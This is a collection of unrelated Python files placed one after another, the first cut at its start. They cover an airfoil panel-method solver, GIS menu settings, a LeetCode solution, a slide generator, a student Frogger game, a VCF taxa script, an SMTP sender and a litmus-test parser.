        A_ij = np.zeros((len(panels)+1,len(panels)+1))

        n=0; m=0;
        # i is now a panel object
        for i in panels:
                #loop over all neighbour panel objects
                for j in panels:

                        rij = i.get_rij(j)
                        rij_plus = i.get_rij_plus(j)
                        beta = i.get_beta(j)

                        #sin(0i - 0j)*ln(r_ij+/r_ij)
                        eka_termi = (j.cos_theta*i.sin_theta - i.cos_theta*j.sin_theta)*   \
                                    math.log(rij_plus/rij)

                        #B*cos(0i-0j)
                        toka_termi = beta*(i.cos_theta*j.cos_theta + i.sin_theta*j.sin_theta)

                        aij = 1./(2*np.pi)*(eka_termi + toka_termi)

                        A_ij[n,m] = aij

                        m+=1

                m=0
                n+=1

        return A_ij

def matrix_Aij_plus(panels,A_ij):

        ###############################################################################################
                                                 #A_i,n+1
        #Calculates A_i,n+1
        n=0; m=0;

        for i in panels:
                summa = 0.
                for j in panels:
                        #calculates the sum of all neighbour panels
                        rij = i.get_rij(j)
                        rij_plus = i.get_rij_plus(j)
                        beta = i.get_beta(j)
                        eka_termi = math.log(rij_plus/rij)*(i.cos_theta*j.cos_theta + i.sin_theta*j.sin_theta)

                        toka_termi = beta*(j.cos_theta*i.sin_theta - i.cos_theta*j.sin_theta)

                        summa += (eka_termi - toka_termi)

                A_ij[n,-1] = 1./(2.*np.pi)*(summa)
                n+=1

        ###############################################################################################
                                                 #A_n+1,j

        #Calculates the first summation (k=1) of A_n+1,j
        #k = 1
        m=0
        i = panels[0]
        for j in panels:
                rij = i.get_rij(j)
                rij_plus = i.get_rij_plus(j)
                beta = i.get_beta(j)

                eka_termi = beta*(j.cos_theta*i.sin_theta - i.cos_theta*j.sin_theta)

                toka_termi = math.log(rij_plus/rij)*(i.cos_theta*j.cos_theta + i.sin_theta*j.sin_theta)

                temp = (eka_termi - toka_termi)
                A_ij[-1,m] = temp
                m+=1

        #Adds the second summation to the first summation (k=N)
        m=0
        i = panels[-1]
        for j in panels:
                rij = i.get_rij(j)
                rij_plus = i.get_rij_plus(j)
                beta = i.get_beta(j)

                eka_termi = beta*(j.cos_theta*i.sin_theta - i.cos_theta*j.sin_theta)

                toka_termi = math.log(rij_plus/rij)*(i.cos_theta*j.cos_theta + i.sin_theta*j.sin_theta)

                temp = (eka_termi - toka_termi)
                A_ij[-1,m] += temp
                m+=1

        #Both now calculated, divide by 2*pi
        A_ij[-1,:]=A_ij[-1,:]/(2*np.pi)

        ###############################################################################################
                                                #A_n+1,n+1

        #k = 1
        #j=1...N
        summa1 = 0.
        i = panels[0]
        for j in panels:

                rij = i.get_rij(j)
                rij_plus = i.get_rij_plus(j)
                beta = i.get_beta(j)

                eka_termi = math.log(rij_plus/rij)*(j.cos_theta*i.sin_theta - i.cos_theta*j.sin_theta)

                toka_termi = beta*(i.cos_theta*j.cos_theta + i.sin_theta*j.sin_theta)

                summa1 += (eka_termi + toka_termi)

        #k=N
        #j=1...N
        summa2 = 0.
        i = panels[-1]
        for j in panels:

                rij = i.get_rij(j)
                rij_plus = i.get_rij_plus(j)
                beta = i.get_beta(j)

                eka_termi = math.log(rij_plus/rij)*(j.cos_theta*i.sin_theta - i.cos_theta*j.sin_theta)

                toka_termi = beta*(i.cos_theta*j.cos_theta + i.sin_theta*j.sin_theta)

                summa2 += (eka_termi + toka_termi)

        summa = summa1+summa2

        A_np_np = summa/(2.*np.pi)

        A_ij[-1,-1] = A_np_np

        return A_ij

def RHS(panels,U,W,alfa):

        b = np.zeros(len(panels)+1)
        n = 0
        for i in panels:
                temp = i.sin_theta*np.cos(alfa)-i.cos_theta*np.sin(alfa)
                b[n] = np.sqrt((U**2 + W**2))*temp
                n+=1

        #b_N+1
        #cos(theta_1 - alfa)
        temp1 = panels[0].cos_theta*np.cos(alfa) + panels[0].sin_theta*np.sin(alfa)

        #cos(theta_N - alfa)
        temp2 = panels[-1].cos_theta*np.cos(alfa) + panels[-1].sin_theta*np.sin(alfa)

        b[-1] = -np.sqrt(U**2 + W**2)*(temp1 + temp2)

        return b

def Velocities(panels,x,U,W,alfa):

        velocities = np.zeros(len(x))

        #n corrsepnds to i th index and m to j th.
        #new variables have to be used since i and j are now objects!
        n=0; m=0; #i,j

        for i in panels:
                #set both summations of i to zero
                summa1 = 0.
                summa2 = 0.
                m=0
                for j in panels:

                        rij = i.get_rij(j)
                        rij_plus = i.get_rij_plus(j)
                        beta = i.get_beta(j)

                        #calculates the two summations of i velocity

                        eka_termi_sigma = beta*(j.cos_theta*i.sin_theta - i.cos_theta*j.sin_theta)
                        toka_termi_sigma = math.log(rij_plus/rij)*(i.cos_theta*j.cos_theta + i.sin_theta*j.sin_theta)

                        #sigma(j)*(B*sin(0i - 0j) - ln(rij+/rij)*cos(0i-0j))
                        summa1 += x[m]*(eka_termi_sigma - toka_termi_sigma)

                        #ln(rij+/rij)*sin(0i-0j)+B*cos(0i-0j)
                        eka_termi_gamma = math.log(rij_plus/rij)*(j.cos_theta*i.sin_theta - i.cos_theta*j.sin_theta)
                        toka_termi_gamma = beta*(i.cos_theta*j.cos_theta + i.sin_theta*j.sin_theta)
                        summa2 += (eka_termi_gamma + toka_termi_gamma)

                        m+=1

                #temp = cos(0i-alfa)
                temp = panels[n].cos_theta*np.cos(alfa) + panels[n].sin_theta*np.sin(alfa)
                velocities[n] = np.sqrt(U**2 + W**2)*temp \
                                + 1./(2.*np.pi)*(summa1) \
                                + x[-1]/(2.*np.pi)*(summa2)

                n+=1

        return velocities

def panel_generator(last_digits, coord_l, num_points,angle):

        t=(last_digits/100.)*coord_l
        c=coord_l
        x = np.arange(0.,c,c/num_points)

        x=np.append(x,c)

        #calculates the positive z-coordinates of naca00xx profile
        z_plus = 5.*t*c*(0.2969*np.sqrt(x/c)+(-0.1260)*(x/c)+(-0.3516)*(x/c)**2+(0.2843)*(x/c)**3+(-0.1015)*(x/c)**4)

        #fix the last index to have exactly zero value and set the lower side z-coordinates to be z_positive*(-1)
        z_plus[-1] = 0.
        z_minus = -z_plus

        panel_list = []

        """
        Generates a list of panel objects. The panels are in exactly same order as in the lecture slides.
        Start of the fist panel is at x = coord length, z = 0

        """

        #pressure side panels (lower half)
        i=0
        while (i < len(z_minus)-1):

                start_x = x[len(x)-i-1]
                end_x = x[len(x)-i-2]
                start_z = z_minus[len(z_minus)-i-1]
                end_z = z_minus[len(z_minus)-i-2]
                panel_list.append(Panel(start_x,start_z,end_x,end_z,angle))
                i+=1

        #suction side panels (upper half)
        i=0
        while (i < len(z_plus)-2):

                start_x=x[i]
                end_x = x[i+1]

                start_z = z_plus[i]
                end_z = z_plus[i+1]

                panel_list.append(Panel(start_x,start_z,end_x,end_z,angle))

                i+=1

        """
        Closes the system = adds the final panel from the end of the last panel (at this point)
        to the start of the first panel
        """
        panel_list.append(Panel(panel_list[-1].end_x,panel_list[-1].end_z,panel_list[0].start_x,panel_list[0].start_z,0.))

        """
        Rest of the lines are just for plotting

        """

        x_coordinaatit = []
        z_coordinaatit = []

        start_x = []
        end_x = []

        start_z = []
        end_z = []

        for i in panel_list:

                x_coordinaatit.append(i.xcoord)
                z_coordinaatit.append(i.zcoord)

                start_x.append(i.start_x)
                end_x.append(i.end_x)

                start_z.append(i.start_z)
                end_z.append(i.end_z)

        return panel_list

main()


#!/usr/bin/env python
# -*- coding: utf-8 -*-
##Copyright 2009, 2010 Владимир Суханов
##
##cyx-fat@e1.ru
##
""" Настройки и константы ГГИС """

MW_SIZE     = (1024,768)        # Размеры главного окна
CANVAS_SIZE = (300,100)         # Размеры канвы
HELP_SIZE   = (500,500)         # Размеры окна помощи
MNU_OPEN    = ("&Открыть", "Открыть STEP файл")
MNU_SAVEAS  = ("Сохранить как &картинку\tAlt-I", "Сохраняет текущий экран как картинку.")
MNU_SCRIPT  = ("Execute Script", "Execute a Python script in the current session.")
MNU_EXIT    = ("&Выйти", "Exit application")
MNU_FILE    = "&Файл"
MNU_TOP     = ("Сверху\tAlt-1", "Top View")
MNU_BOTTOM  = ("Снизу\tAlt-2", "Bottom View")
MNU_LEFT    = ("Слева\tAlt-3", "Left View")
MNU_RIGHT   = ("Справа\tAlt-4", "Right View")
MNU_FRONT   = ("Спереди\tAlt-5", "Front View")
MNU_REAR    = ("Сзади\tAlt-6", "Rear View")
MNU_ISO     = ("Iso\tAlt-7", "Iso View")
MNU_ZOOMALL = ("Приблизить &всё\tAlt-A", "Zoom All")
MNU_ZOOMWIN = ("Zoom &Win\tAlt-W", "Zoom Window")
MNU_VIEW    = "&Вид"
MNU_VERTEX  = (u'Vertex', 'Select vertices.')
MNU_EDGE    = (u'Edge', 'Select edges.')
MNU_FACE    = (u'Face', 'Select faces.')
MNU_NEUTRAL = (u'Neutral', 'Switch back to global shapes selction.')
MNU_SELECTION = "&Selection"
MNU_WARE    = (u'Wireframe', 'Switch to wireframe mode.')
MNU_SHADED  = (u'Shaded', 'Switch to shaded mode.')
MNU_QHLR    = (u'Quick HLR', 'Switch to Quick Hidden Line Removal mode.')
MNU_EXHLR   = (u'Exact HLR', 'Switch to Exact Hidden Line Removal mode.')
MNU_AALIASon = (u'AntiAliasing On', 'Enable antialiasing.')
MNU_AALIASof = (u'Antialiasing Off', 'Disable antialiasing.')
MNU_DISMODE = "&Display mode"
MNU_CRAXIS  = (u'Оси', 'Create axis')
MNU_CRLINE2 = (u'Отрезок', 'Create line 2D.')
MNU_CRPIT   = (u'Демо карьер', 'Demo Pit')
MNU_EXPLORE = (u'Просмотр', 'Просмотр геометрии')
MNU_ERASE = (u'Удалить', 'Удалить элемент')
MNU_CREATE      = "Рисование"
MNU_ABOUT       = ("&О программе", "")
MNU_HELP        = "&Помощь"
MNU_CRDEMODB    =(u'СоздатьБД', 'Демо карьер в БД')
MNU_CLOAD       =(u'Загрузить БД', 'Загрузить БД')
MNU_LIDAR       = (u'Загрузить LIDAR', u'Загрузить LIDAR')
MNU_CSAVE       = (u'Сохранить в БД', u'Сохранить в БД')
MNU_EDIT        = "Редактирование"
MNU_EdBrMoveV   =(u'Переместить', 'Перенести вершину бровки')
MNU_EdBrInsV    =(u'Вставить точку', 'Вставить точку в бровку')
MNU_EdBrDelV    =(u'Удалить точку', 'Удалить точку на бровке')
MNU_EdBrBrkV    =(u'Разорвать бровку', 'Разорвать бровку в точке')
MNU_EdBrDelB    =(u'Удалить бровку', 'Удалить бровку')
CMD_EdBrMoveV   = 101
CMD_EdBrInsV    = 102
CMD_EdBrDelV    = 103
CMD_EdBrBrkV    = 104
CMD_EdBrInsV    = 105
CMD_EdBrBrkV    = 106
CMD_EdBrDelB    = 107
#CMD_EdBr????    = 108
POSTGR_DBN     =   u'postgres'
POSTGR_USR     =   u'postgres'


# topics = ["数组"]

from typing import List

class Solution:
    def moveZeroes(self, nums: List[int]) -> None:
        """
        Do not return anything, modify nums in-place instead.
        """
        for i in range(len(nums))[::-1]:
            if not nums[i]:
                # pop(i) 的时间复杂度为 0(n)
                nums.append(nums.pop(i))


import pypandoc
import doctest

def write_file(filename: str, contents: str) -> None:
    """Writes contents to a file named filename
    Args:
        filename: The name of the target file
        contents: The contents of the target file
    Examples:
        >>> import tempfile
        >>> outfile_path = tempfile.mkstemp()[1]
        >>> write_file(outfile_path, "Test file contents")
        >>> with open(outfile_path) as file: file.read()
        'Test file contents'
    """
    with open(filename, 'w') as f:
        f.write(contents)

def make_slides(path: str = 'slides.md', framework: str = 'slidy') -> str:
    """Writes contents to a file named filename
    Args:
        path: The filepath of the target file
        framework: The HTML slideshow type, must be revealjs, slidy, or dzslides
    Returns:
        A string of characters that are the contents of an html slideshow.
    Raises:
        TypeError: The framework argument must be passed as string.
        ValueError: Only three html slide frameworks: revealjs, slidy, or dzslides,
            are currently supported.
    Examples:
        A minimal example using temporary input and output files
        >>> import tempfile # library needed to make temp files
        >>> infile_path = tempfile.mkstemp('.md')[1] # markdown file path
        >>> write_file(infile_path, "# Markdown header") # markdown content
        >>> outfile_path = tempfile.mkstemp(suffix='.html')[1] # html file path
        >>> write_file(outfile_path, make_slides(infile_path)) # html slides
        >>> with open(outfile_path, "r") as f: outfile_contents = f.read()
        >>> lines = outfile_contents.split('\\n') # split contents into lines
        >>> lines[0] # first line
        '<?xml version="1.0" encoding="utf-8"?>'
        >>> lines[-4] # fourth to last line
        '

Markdown header

'
    """
    if type(framework) is str:
        if framework in ('slidy', 'dzslides'):
            return pypandoc.convert_file(path, to=framework, extra_args=['-s'])
        elif framework == 'revealjs':
            return pypandoc.convert_file(path, to=framework,
                                         extra_args=['-s', '-V', 'revealjs-url=http://lab.hakim.se/reveal-js'])
        else:
            raise ValueError("Framework argument must be 'revealjs', 'slidy', or 'dzslides', not {framework}.")
    else:
        raise TypeError("Framework argument type must be str, not {type(framework)}.")

if __name__ == '__main__':
    doctest.testmod(verbose=True)
    write_file('elaine.html', make_slides('Project Contents/test.md'))


# Frogger-type game... STARTER CODE BELOW
# Matthew Schaefer (mes2pe) and Christopher Acciai (cga4yc)

# Meeting Required Features
#   User Input
"""
User input will allow the frog to move in every direction. It will be trying to navigate
both a road environment as well as a water area.

SOURCES:
https://www.spriters-resource.com/arcade/frogger/sheet/11067/
http://www.classicgaming.cc/classics/frogger/sounds
"""
#   Graphics/Images
"""
We will be animating the different obstacles as well as the frog character that can be
manipulated.
"""
#   Start Screen
"""
Game Name: Frogger
Student Names: Matthew Schaefer (mes2pe) and Christopher Acciai (cga4yc)
Basic Instructions: "Navigate your way back to the swamp! Use the directional buttons to avoid
the cars on the road and drowning in the water. Get hit or drown and you go back to the start.
You only have three tries, so make them count!"
"""

# Optional Features
#   Enemies
"""
While they aren't characters, the possibility of getting hit by cars or drowning in the water
act as obstacles for completion which, we believe, fits the requirement for being enemies.
"""
#   Timer
"""
Depending on the route we chose to go, we can have a countdown timer to rush players into
crossing faster (also increasing the difficulty and likelihood of mistakes).
"""
#   Health Meter
"""
We plan on giving players three lives to get across the path of obstacles. Upon losing a life,
players will be sent back to the starting location. If they lose all three lives, they will
lose the game and we will indicate that visually.
"""
#   Music/Sound Effects
"""
This is another option we will be able to pursue, especially if we find a source file of the
original audio.
"""

import pygame
import gamebox

camera = gamebox.Camera(442,500)
background = gamebox.from_image(221,250, 'background.png')
roadlines = gamebox.from_image(221,405, 'road_lines.png')
roadlines2 = gamebox.from_image(221,440, 'road_lines.png')
roadlines3 = gamebox.from_image(221,370, 'road_lines.png')
roadlines4 = gamebox.from_image(221,335, 'road_lines.png')
roadlines5 = gamebox.from_image(221,300, 'road_lines.png')
show_splash = True
ticks = 0

def splash(keys):
    global show_splash
    camera.clear('blue')
    camera.draw(gamebox.from_text(camera.x,camera.y-150,"Frogger", "Arial",40,"green"))
    camera.draw(gamebox.from_text(camera.x, camera.y - 110, "--------------------------------------------------------", "Arial", 20, "green"))
    camera.draw(gamebox.from_text(camera.x,camera.y-80,"Navigate your way back to the swamp!", "Arial", 20, "green"))
    camera.draw(gamebox.from_text(camera.x, camera.y-55,"Use the directional buttons to avoid the cars", "Arial", 20, "green"))
    camera.draw(gamebox.from_text(camera.x, camera.y-30,"on the road and drowning in the water.", "Arial", 20, "green"))
    camera.draw(gamebox.from_text(camera.x, camera.y-5,"Get hit or drown and you go back to the start.", "Arial", 20, "green"))
    camera.draw(gamebox.from_text(camera.x, camera.y+20,"You only have three tries, so make them count!", "Arial", 20, "green"))
    camera.draw(gamebox.from_text(camera.x, camera.y + 150, "(Press space to continue)", "Arial", 20, "green"))
    camera.draw(gamebox.from_text(camera.x, camera.y + 60, "Christopher Acciai (cga4yc) and Matthew Schaefer (mes2pe)", "Arial", 21, "green"))

    if ticks > 120:
        show_splash = False
    if pygame.K_SPACE in keys:
        show_splash = False
    camera.display()

cars = [
    gamebox.from_image(0, 440, 'car.png'),
    gamebox.from_image(-500, 440, 'car.png'),

]
for car in cars:
    car.scale_by(2)
car2 = [
    gamebox.from_image(125, 405, 'car2.png'),
    gamebox.from_image(250, 405, 'car2.png'),
    gamebox.from_image(375, 405, 'car2.png'),
    gamebox.from_image(500, 405, 'car2.png'),
]

for car in car2:
    car.scale_by(2.2)

busses = [
    gamebox.from_image(250, 370, 'bus.png'),
    gamebox.from_image(500, 370, 'bus.png'),
]
for bus in busses:
    bus.scale_by(2.2)

car3 = [
    gamebox.from_image(100, 335, 'car3.png'),
    gamebox.from_image(200, 335, 'car3.png'),
    gamebox.from_image(300, 335, 'car3.png'),
    gamebox.from_image(400, 335, 'car3.png'),
    gamebox.from_image(500, 335, 'car3.png'),
]
for car in car3:
    car.scale_by(2.2)

car4 = [
    gamebox.from_image(166.66, 300, 'car4.png'),
    gamebox.from_image(333.32, 300, 'car4.png'),
    gamebox.from_image(500, 300, 'car4.png'),
]
for car in car4:
    car.scale_by(2.2)

logs = [
    gamebox.from_image(0, 191, 'large_log.png'),
    gamebox.from_image(250, 191, 'large_log.png'),
    gamebox.from_image(-250, 191, 'large_log.png'),
]
for log in logs:
    log.scale_by(1.7)

logs2 = [
    gamebox.from_image(125, 221, 'short_log.png'),
    gamebox.from_image(250, 221, 'short_log.png'),
    gamebox.from_image(375, 221, 'short_log.png'),
    gamebox.from_image(500, 221, 'short_log.png'),
]
for log in logs2:
    log.scale_by(1.7)

logs3 = [
    gamebox.from_image(125, 161, 'short_log.png'),
    gamebox.from_image(250, 161, 'short_log.png'),
    gamebox.from_image(375, 161, 'short_log.png'),
    gamebox.from_image(500, 161, 'short_log.png'),
    gamebox.from_image(500, 161, 'short_log.png'),
    gamebox.from_image(500, 161, 'short_log.png'),
]
for log in logs3:
    log.scale_by(1.7)

logs4 = [
    gamebox.from_image(166.66, 131, 'large_log.png'),
    gamebox.from_image(333.32, 131, 'short_log.png'),
    gamebox.from_image(500, 131, 'large_log.png'),
    gamebox.from_image(666.66, 131, 'short_log.png'),
]
for log in logs4:
    log.scale_by(1.7)

logs5 = [
    gamebox.from_image(250, 101, 'large_log.png'),
    gamebox.from_image(-250, 101, 'large_log.png'),
]
for log in logs5:
    log.scale_by(1.7)

logs6 = [
    gamebox.from_image(166.66, 71, 'large_log.png'),
    gamebox.from_image(333.32, 71, 'short_log.png'),
    gamebox.from_image(500, 71, 'large_log.png'),
    gamebox.from_image(666.66, 71, 'short_log.png'),
]
for log in logs6:
    log.scale_by(1.7)

logs7 = [
    gamebox.from_image(125, 41, 'short_log.png'),
    gamebox.from_image(250, 41, 'short_log.png'),
    gamebox.from_image(375, 41, 'short_log.png'),
    gamebox.from_image(500, 41, 'short_log.png'),
]
for log in logs7:
    log.scale_by(1.7)

run_over_sound = gamebox.load_sound("sound-frogger-squash.wav")
drown_sound = gamebox.load_sound("sound-frogger-plunk.wav")

character = gamebox.from_image(250,490,'frog_still.png')
character.scale_by(2)
character.last_move = 0
character.lives = 3
timer = 1200

def tick(keys):
    global ticks
    global timer
    ticks += 1
    timer -= 1

    if show_splash:
        splash(keys)
        return

    camera.draw(background)
    camera.draw(roadlines)
    camera.draw(roadlines2)
    camera.draw(roadlines3)
    camera.draw(roadlines4)
    camera.draw(roadlines5)

    time = gamebox.from_text(66, 10, "Time Remaining: " + str(timer//30), "Arial", 20, "black")
    camera.draw(time)
    life = gamebox.from_text(0,0, "Lives: "+str(character.lives), "Arial", 20, "black")
    life.top = camera.top
    life.right = camera.right
    lost = gamebox.from_text(221,250, "YOU LOSE!", "Arial", 60, "white")
    win = gamebox.from_text(221, 250, "YOU WIN!", "Arial", 60, "white")

    for car in cars:
        camera.draw(car)
        car.x += 9
        if car.left > camera.right:
            car.x -= 1000
    for car in car2:
        camera.draw(car)
        car.x -= 4
        if car.right < camera.left:
            car.x += 500
    for bus in busses:
        camera.draw(bus)
        bus.x -= 2
        if bus.right < camera.left:
            bus.x += 500
    for car in car3:
        camera.draw(car)
        car.x += 1.5
        if car.left > camera.right:
            car.x -= 500
    for car in car4:
        camera.draw(car)
        car.x += 4
        if car.left > camera.right:
            car.x -= 500
    for log in logs:
        camera.draw(log)
        log.x += 4
        if log.left > camera.right:
            log.x -= 750
    for log in logs2:
        camera.draw(log)
        log.x -= 4
        if log.right < camera.left:
            log.x += 750
    for log in logs3:
        camera.draw(log)
        log.x -= 4
        if log.right < camera.left:
            log.x += 500
    for log in logs4:
        camera.draw(log)
        log.x -= 5
        if log.right < camera.left:
            log.x += 666.66
    for log in logs5:
        camera.draw(log)
        log.x += 3
        if log.left > camera.right:
            log.x -= 1000
    for log in logs6:
        camera.draw(log)
        log.x -= 2
        if log.right < camera.left:
            log.x += 666.66
    for log in logs7:
        camera.draw(log)
        log.x += 4
        if log.left > camera.right:
            log.x -= 750

    if pygame.K_UP in keys and character.last_move < ticks - 4:
        character.y -= 30
        character.last_move = ticks
        character.image = 'frog_still.png'
    if pygame.K_RIGHT in keys and character.last_move < ticks - 4:
        character.x += 30
        character.last_move = ticks
        character.image = 'frog_right_still.png'
    if pygame.K_LEFT in keys and character.last_move < ticks - 4:
        character.x -= 30
        character.last_move = ticks
        character.image = 'frog_left_still.png'
    if pygame.K_DOWN in keys and character.last_move < ticks - 4:
        character.y += 30
        character.last_move = ticks
        character.image = 'frog_back_still.png'

    for car in cars:
        if character.touches(car):
            character.lives -= 1
            if character.lives == 0:
                run_over_sound.play()
                gamebox.pause()
                camera.draw(lost)
            else:
                run_over_sound.play()
                character.x = 250
                character.y = 490
    for car in car2:
        if character.touches(car):
            character.lives -= 1
            if character.lives == 0:
                run_over_sound.play()
                gamebox.pause()
                camera.draw(lost)
            else:
                run_over_sound.play()
                character.x = 250
                character.y = 490
    for bus in busses:
        if character.touches(bus):
            character.lives -= 1
            if character.lives == 0:
                run_over_sound.play()
                gamebox.pause()
                camera.draw(lost)
            else:
                run_over_sound.play()
                character.x = 250
                character.y = 490
    for car in car3:
        if character.touches(car):
            character.lives -= 1
            if character.lives == 0:
                run_over_sound.play()
                gamebox.pause()
                camera.draw(lost)
            else:
                run_over_sound.play()
                character.x = 250
                character.y = 490
    for car in car4:
        if character.touches(car):
            character.lives -= 1
            if character.lives == 0:
                run_over_sound.play()
                gamebox.pause()
                camera.draw(lost)
            else:
                run_over_sound.play()
                character.x = 250
                character.y = 490

    if 30 < character.y < 240:
        safe = False    # Consulted Professor Tychonievich for how I could work with the logs to make the water
        if character.x < 0 or character.x > 442:
            safe = True
        for log in logs2:
            if character.touches(log):
                safe = True
                character.x -= 4
                if character.x < camera.left:
                    character.x += 750
        for log in logs:
            if character.touches(log):
                safe = True
                character.x += 4
                if character.left > camera.right:
                    character.x -= 750
        for log in logs3:
            if character.touches(log):
                safe = True
                character.x -= 4
                if character.right < camera.left:
                    character.x += 500
        for log in logs4:
            if character.touches(log):
                safe = True
                character.x -= 5
                if character.right < camera.left:
                    character.x += 666.66
        for log in logs5:
            if character.touches(log):
                safe = True
                character.x += 3
                if character.left > camera.right:
                    character.x -= 1000
        for log in logs6:
            if character.touches(log):
                safe = True
                character.x -= 2
                if character.right < camera.left:
                    character.x += 666.66
        for log in logs7:
            if character.touches(log):
                safe = True
                character.x += 4
                if character.left > camera.right:
                    character.x -= 750
        if safe == False:
            character.lives -= 1
            if character.lives == 0:
                drown_sound.play()
                gamebox.pause()
                camera.draw(lost)
            else:
                drown_sound.play()
                character.x = 250
                character.y = 490

    if timer == 0 and character.y > 30:
        gamebox.pause()
        camera.draw(lost)

    if character.y <= 30:
        gamebox.pause()
        camera.draw(win)

    camera.draw(character)
    camera.draw(life)
    camera.display()

gamebox.timer_loop(30, tick)


#sys.args = [vcf_in] [CSV_master_location_file] [CSV_out]
import sys, pandas as pd
def main():
    g=open(sys.argv[3],'w')
    taxa=taxList(sys.argv[1])
    data=popper(taxa, sys.argv[2])
    for dat in data:
        g.write(dat+','+data.get(dat)+'\n')
    g.close()

#extract taxon list from VCF file
def taxList(vcfFile):
    taxa=[]
    for line in open(vcfFile):
        z=line.strip().split('\t')
        if line.startswith('#CHROM'):
            for tax in z:
                if z.index(tax)>8: # taxa listed after 8th column
                    taxa.append(tax.strip()) #list taxon name
            break
    return taxa

#associate taxa with population data
def popper(taxList, datFile):
    isls=[None]*len(taxList)
    file = pd.read_csv(datFile) #pandas assumes headers from CSV
    for tax in taxList:
        if tax in list(file['dna_extraction_code']): # i.e. header = dna_extraction_code
            isls[taxList.index(tax)]=file['location'][list(file['dna_extraction_code']).index(tax)] #appropriate index of location for taxon
    dik=dict(zip(taxList,isls))
    return dik

if __name__ == '__main__':
    main()


import ontune
import smtplib

ontune.begin('SMTPSENDER')

receiver = ontune.args[0]
mesg = ontune.args[1]

sender = 'admin@ontune.co.kr'

server = smtplib.SMTP('smtp.test.com')
server.ehlo()
server.sendmail(sender, receiver, mesg)
server.quit()

ontune.end()


#!/usr/bin/python
# -*- coding: utf-8 -*-

import sys, getopt
import pyparsing as pyp
from Program import *

newline = pyp.LineEnd()
symbols = "!\"@#€%&/|()[]$~=?+`´^¨*',;.:-_><"
digits = "0123456789"
alphanum = pyp.alphas + digits
locs = "xyzabct"
letter = pyp.Or([pyp.Word(x) for x in pyp.alphas if len(x) == 1])
locations = letter(locs)
x86Locs = pyp.Group("[" + locations + "]")
const = pyp.Word(digits)
x86Reg = pyp.Group("E" + letter + "X")
x86Const = pyp.Group("$" + pyp.Word(digits))
registers = pyp.Group("r" + const)
architectures = pyp.Or([pyp.Literal("PPC"), pyp.Literal("X86")])

# define Header grammar
Header = architectures + pyp.OneOrMore(pyp.OneOrMore(pyp.Word(alphanum + symbols)) + newline)

# define Init grammar
assign = pyp.Or([pyp.Group(pyp.Word(alphanum) + ":" + registers + "=" + pyp.Or([locations, const]) + ";"), pyp.Group(letter + "=" + pyp.Word(digits) + ";")])
Init = pyp.Literal('{') + pyp.OneOrMore(assign) + pyp.Literal('}')

procName = pyp.Group("P" + const)
Procs = pyp.OneOrMore(procName + pyp.Optional("|")) + ";"

# define Events grammar
eEvent = pyp.Literal(' ')
wEvent = pyp.Group("MOV" + x86Locs  + "," + x86Reg)
rEvent = pyp.Group("MOV" + x86Reg + "," + pyp.Or([x86Const, x86Locs]))
bEvent = pyp.Group(pyp.Literal("MFENCE"))
stwEvent = pyp.Group("stw" + registers  + ",0(" + registers + ")")
lwzEvent = pyp.Group("lwz" + registers  + ",0(" + registers + ")")
liEvent = pyp.Group("li" + registers + "," + const)
addiEvent = pyp.Group("addi" + registers + "," + registers + "," + const)
copyEvent = pyp.Group("mr" + registers + "," + registers)
xorEvent = pyp.Group("xor" + registers + "," + registers + "," + registers)
syncEvent = pyp.Group(pyp.Literal("sync"))
lwsyncEvent = pyp.Group(pyp.Literal("lwsync"))
isyncEvent = pyp.Group(pyp.Literal("isync"))
cmpEvent = pyp.Group("cmpw" + registers + "," + registers)
beqEvent = pyp.Group("beq" + pyp.Word(pyp.alphas) + pyp.Word(digits))
guardEvent = pyp.Group(pyp.Word(alphanum) + ":")

event = pyp.Or([eEvent, wEvent, rEvent, bEvent, stwEvent, lwzEvent, liEvent, copyEvent, addiEvent, xorEvent, syncEvent, lwsyncEvent, isyncEvent, cmpEvent, beqEvent, guardEvent])
Events = pyp.OneOrMore(pyp.OneOrMore(pyp.Or([event, pyp.Literal("|")])) + pyp.Literal(";"))

Prog = pyp.Group(Header) + pyp.Group(Init) + pyp.Group(Procs) + pyp.Group(Events)

def string2Event(s, initT, locations, registers):
    if "MOV" == s[0]:
        if s[1][0] == "[":
            if "".join(s[3]) in registers.keys():
                reg = registers["".join(s[3])]
            else:
                reg = Register("".join(s[3]))
                registers["".join(s[3])] = reg
        else:
            if "".join(s[1]) in registers.keys():
                reg = registers["".join(s[1])]
            else:
                reg = Register("".join(s[1]))
                registers["".join(s[1])] = reg
        if "$" in "".join(s[3]):
            const = Expression(int(s[3][1]))
            return (Local(reg, const), locations, registers)
        if s[1][0] == "[":
            locName = s[1][1]
            if locName in locations.keys():
                loc = locations[locName]
            else:
                locations[locName] = Location(locName)
                loc = locations[locName]
            return (Store(loc, reg), locations, registers)
        else:
            locName = s[3][1]
            if locName in locations.keys():
                loc = locations[locName]
            else:
                locations[locName] = Location(locName)
                loc = locations[locName]
            return (Load(reg, loc), locations, registers)
    if "stw" == s[0]:
        if "".join(s[1]) in registers.keys():
            reg = registers["".join(s[1])]
        else:
            reg = Register("".join(s[1]))
            registers["".join(s[1])] = reg
        regLoc = ''.join(s[3])
        if initT[regLoc] in locations.keys():
            loc = locations[initT[regLoc]]
        else:
            locations[initT[regLoc]] = Location(initT[regLoc])
            loc = locations[initT[regLoc]]
        return (Store(loc, reg), locations, registers)
    elif "lwz" == s[0]:
        if "".join(s[1]) in registers.keys():
            reg = registers["".join(s[1])]
        else:
            reg = Register("".join(s[1]))
            registers["".join(s[1])] = reg
        regLoc = ''.join(s[3])
        if initT[regLoc] in locations.keys():
            loc = locations[initT[regLoc]]
        else:
            locations[initT[regLoc]] = Location(initT[regLoc])
            loc = locations[initT[regLoc]]
        return (Load(reg, loc), locations, registers)
    elif "li" == s[0]:
        if "".join(s[1]) in registers.keys():
            reg = registers["".join(s[1])]
        else:
            reg = Register("".join(s[1]))
            registers["".join(s[1])] = reg
        const = Expression(int(s[3]))
        return (Local(reg, const), locations, registers)
    elif "addi" == s[0]:
        if "".join(s[1]) in registers.keys():
            reg = registers["".join(s[1])]
        else:
            reg = Register("".join(s[1]))
            registers["".join(s[1])] = reg
        if "".join(s[3]) in registers.keys():
            reg2 = registers["".join(s[3])]
        else:
            reg2 = Register("".join(s[3]))
            registers["".join(s[3])] = reg2
        return (Local(reg, Expression(reg2,'+',1)), locations, registers)
    elif "mr" == s[0]:
        if "".join(s[1]) in registers.keys():
            reg = registers["".join(s[1])]
        else:
            reg = Register("".join(s[1]))
            registers["".join(s[1])] = reg
        if "".join(s[3]) in registers.keys():
            reg2 = registers["".join(s[3])]
        else:
            reg2 = Register("".join(s[3]))
            registers["".join(s[3])] = reg2
        return (Local(reg, reg2), locations, registers)
